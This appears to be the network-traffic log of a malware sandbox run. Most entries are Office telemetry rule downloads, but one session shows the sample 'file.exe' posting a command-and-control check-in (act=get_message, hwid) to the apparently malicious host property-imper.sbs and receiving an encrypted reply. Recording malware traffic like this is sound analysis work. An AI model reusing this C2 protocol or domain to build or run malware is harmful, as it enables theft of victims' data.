Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:02 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:02 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 0aa534f7-c01e-0014-501a-3ea6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074402Z-178bfbc474bgvl54hC1NYCsfuw00000005n00000000087at x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:02 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.10	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:02 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:02 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aaae978-201e-0096-4377-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074402Z-178bfbc474bpnd5vhC1NYC4vr400000005kg00000000bkdn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:02 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.10	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:02 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:02 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074402Z-174c587ffdf89smkhC1TEB697s000000044g00000000evxr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:02 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.10	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:02 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:02 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c2dc1527-b01e-0053-5db2-3bcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074402Z-174c587ffdfp4vpjhC1TEBybqw000000041g00000000fv9x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:02 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.10	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:02 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:02 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: ce4e00c6-401e-00a3-3516-3d8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074402Z-178bfbc474bw8bwphC1NYC38b400000005mg00000000066m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:03 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.10	49775	172.67.162.84	443	7804	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:03 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: property-imper.sbs
2024-11-24 07:44:03 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 39 37 39 30 34 35 34 44 45 31 38 42 30 45 35 35 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=9790454DE18B0E55D7CBBD6DF28D3732
2024-11-24 07:44:04 UTC	1015	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=or6qg3snt5f5pph4oe4efaveqn; expires=Thu, 20-Mar-2025 01:30:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LTtOK3AVhOAQqPL2NgxpkhJAgOQQesg6xj25mYSCC4m5ESULQK%2BGb8bgyaQ3WNo8lEe5ah%2FU5As4D2QkI2WfU2nyCN%2B9W6Y8V6OdBtcaYXAX9KHcN%2BrR3DyyiXkvuucYo1bbN2g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e77c58a9bd6440d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2127&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=990&delivery_rate=1317689&cwnd=169&unsent_bytes=0&cid=d207372bbf2c7458&ts=712&x=0"
2024-11-24 07:44:04 UTC	214	IN	Data Raw: 64 30 0d 0a 70 56 6c 34 52 42 65 67 76 7a 67 6e 6c 46 4c 4c 73 59 59 32 67 56 4c 34 44 38 76 6f 31 65 77 51 4d 34 34 57 30 31 4f 4e 43 62 76 2b 49 6c 6f 78 4e 5a 71 64 55 46 50 67 49 76 48 74 71 57 71 75 59 38 41 36 35 64 72 6b 32 54 34 43 76 79 58 39 59 72 74 56 6c 4d 6f 2f 48 68 67 34 78 4e 70 65 43 66 45 71 72 70 4f 71 46 4f 63 6d 32 6a 58 37 78 50 65 4a 4d 67 6d 2f 61 2f 38 6f 72 33 79 5a 6e 33 73 51 4d 47 50 51 68 57 51 49 79 48 33 36 69 62 4d 59 73 32 50 4e 49 66 72 5a 35 73 49 68 42 64 49 35 6f 43 66 6f 61 4e 62 35 64 67 6f 6c 65 63 54 51 56 51 6e 78 4b 71 36 54 71 68 54 6e 4a 74 6f 31 2b 38 54 33 69 54 49 4a 76 6d 75 4f 0d 0a Data Ascii: d0pVl4RBegvzgnlFLLsYY2gVL4D8vo1ewQM44W01ONCbv+IloxNZqdUFPgIvHtqWquY8A65drk2T4CvyX9YrtVlMo/Hhg4xNpeCfEqrpOqFOcm2jX7xPeJMgm/a/8or3yZn3sQMGPQhWQIyH36ibMYs2PNIfrZ5sIhBdI5oCfoaNb5dgolecTQVQnxKq6TqhTnJto1+8T3iTIJvmuO
2024-11-24 07:44:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.10	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:04 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:04 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 6b91e280-c01e-00a2-4f0a-3d2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074404Z-178bfbc474bvjk8shC1NYC83ns00000005gg0000000062en x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:04 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.10	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:04 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:04 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 4a2b4f75-b01e-0084-04e2-3dd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074404Z-174c587ffdfb5q56hC1TEB04kg00000004500000000019p3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:05 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.10	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:04 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:04 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 5304f1e1-001e-005a-6c6b-3bc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074404Z-178bfbc474bq2pr7hC1NYCkfgg00000005ug000000005bx8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:05 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.10	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:04 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:05 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 1e280d2f-401e-0029-0d7f-3b9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074405Z-174c587ffdfks6tlhC1TEBeza4000000044g00000000fsu1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:05 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.10	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:04 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:05 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 8e68b2a4-701e-005c-1a8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074405Z-174c587ffdfx984chC1TEB676g000000044g000000007z06 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:05 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.10	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:06 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
